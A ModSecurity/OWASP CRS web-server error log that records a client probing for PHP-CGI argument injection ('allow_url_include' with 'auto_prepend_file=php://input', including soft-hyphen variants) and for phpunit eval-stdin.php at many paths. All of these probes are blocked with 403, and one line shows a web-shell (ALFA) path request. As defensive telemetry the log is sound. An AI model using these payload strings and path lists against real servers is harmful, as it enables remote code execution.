[Tue Oct 27 13:04:22.495157 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auDZllkSJh9YctB3ycD0uwAAACw"]
[Tue Oct 27 13:04:22.495228 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auDZllkSJh9YctB3ycD0uwAAACw"]
[Tue Oct 27 13:04:22.495665 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auDZllkSJh9YctB3ycD0uwAAACw"]
[Tue Oct 27 13:04:22.496401 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZllkSJh9YctB3ycD0uwAAACw"]
[Tue Oct 27 13:04:23.042495 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auDZl1kSJh9YctB3ycD0vAAAACw"]
[Tue Oct 27 13:04:23.042573 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auDZl1kSJh9YctB3ycD0vAAAACw"]
[Tue Oct 27 13:04:23.043102 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auDZl1kSJh9YctB3ycD0vAAAACw"]
[Tue Oct 27 13:04:23.043885 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZl1kSJh9YctB3ycD0vAAAACw"]
[Tue Oct 27 13:04:23.577265 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auDZl1kSJh9YctB3ycD0vQAAACw"]
[Tue Oct 27 13:04:23.577367 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auDZl1kSJh9YctB3ycD0vQAAACw"]
[Tue Oct 27 13:04:23.577823 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auDZl1kSJh9YctB3ycD0vQAAACw"]
[Tue Oct 27 13:04:23.578644 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZl1kSJh9YctB3ycD0vQAAACw"]
[Tue Oct 27 13:04:23.843301 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auDZl1kSJh9YctB3ycD0vgAAACw"]
[Tue Oct 27 13:04:23.843380 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auDZl1kSJh9YctB3ycD0vgAAACw"]
[Tue Oct 27 13:04:23.843946 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auDZl1kSJh9YctB3ycD0vgAAACw"]
[Tue Oct 27 13:04:23.844720 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZl1kSJh9YctB3ycD0vgAAACw"]
[Tue Oct 27 13:04:24.128687 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZmFkSJh9YctB3ycD0vwAAACw"]
[Tue Oct 27 13:04:24.129215 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZmFkSJh9YctB3ycD0vwAAACw"]
[Tue Oct 27 13:04:24.130161 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZmFkSJh9YctB3ycD0vwAAACw"]
[Tue Oct 27 13:04:24.375782 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auDZmFkSJh9YctB3ycD0wAAAACw"]
[Tue Oct 27 13:04:24.376309 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auDZmFkSJh9YctB3ycD0wAAAACw"]
[Tue Oct 27 13:04:24.377137 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZmFkSJh9YctB3ycD0wAAAACw"]
[Tue Oct 27 13:04:24.628439 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZmFkSJh9YctB3ycD0wQAAACw"]
[Tue Oct 27 13:04:24.628871 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZmFkSJh9YctB3ycD0wQAAACw"]
[Tue Oct 27 13:04:24.629690 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZmFkSJh9YctB3ycD0wQAAACw"]
[Tue Oct 27 13:04:25.134264 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auDZmVkSJh9YctB3ycD0wgAAACw"]
[Tue Oct 27 13:04:25.134674 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auDZmVkSJh9YctB3ycD0wgAAACw"]
[Tue Oct 27 13:04:25.135475 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZmVkSJh9YctB3ycD0wgAAACw"]
[Tue Oct 27 13:04:25.901135 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auDZmVkSJh9YctB3ycD0wwAAACw"]
[Tue Oct 27 13:04:25.901593 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auDZmVkSJh9YctB3ycD0wwAAACw"]
[Tue Oct 27 13:04:25.902364 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZmVkSJh9YctB3ycD0wwAAACw"]
[Tue Oct 27 13:04:26.398697 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZmlkSJh9YctB3ycD0xAAAACw"]
[Tue Oct 27 13:04:26.399238 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZmlkSJh9YctB3ycD0xAAAACw"]
[Tue Oct 27 13:04:26.400014 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZmlkSJh9YctB3ycD0xAAAACw"]
[Tue Oct 27 13:04:26.442445 2026] [security2:error] [pid 3265882:tid 3265882] [client 185.191.171.16:55332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/nvidia/tu106/acr/bl.bin"] [unique_id "auDZmpePFllL96zARGxAYwAAABo"]
[Tue Oct 27 13:04:26.442484 2026] [security2:error] [pid 3265882:tid 3265882] [client 185.191.171.16:55332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/nvidia/tu106/acr/bl.bin"] [unique_id "auDZmpePFllL96zARGxAYwAAABo"]
[Tue Oct 27 13:04:26.996507 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZmlkSJh9YctB3ycD0xQAAACw"]
[Tue Oct 27 13:04:26.996977 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZmlkSJh9YctB3ycD0xQAAACw"]
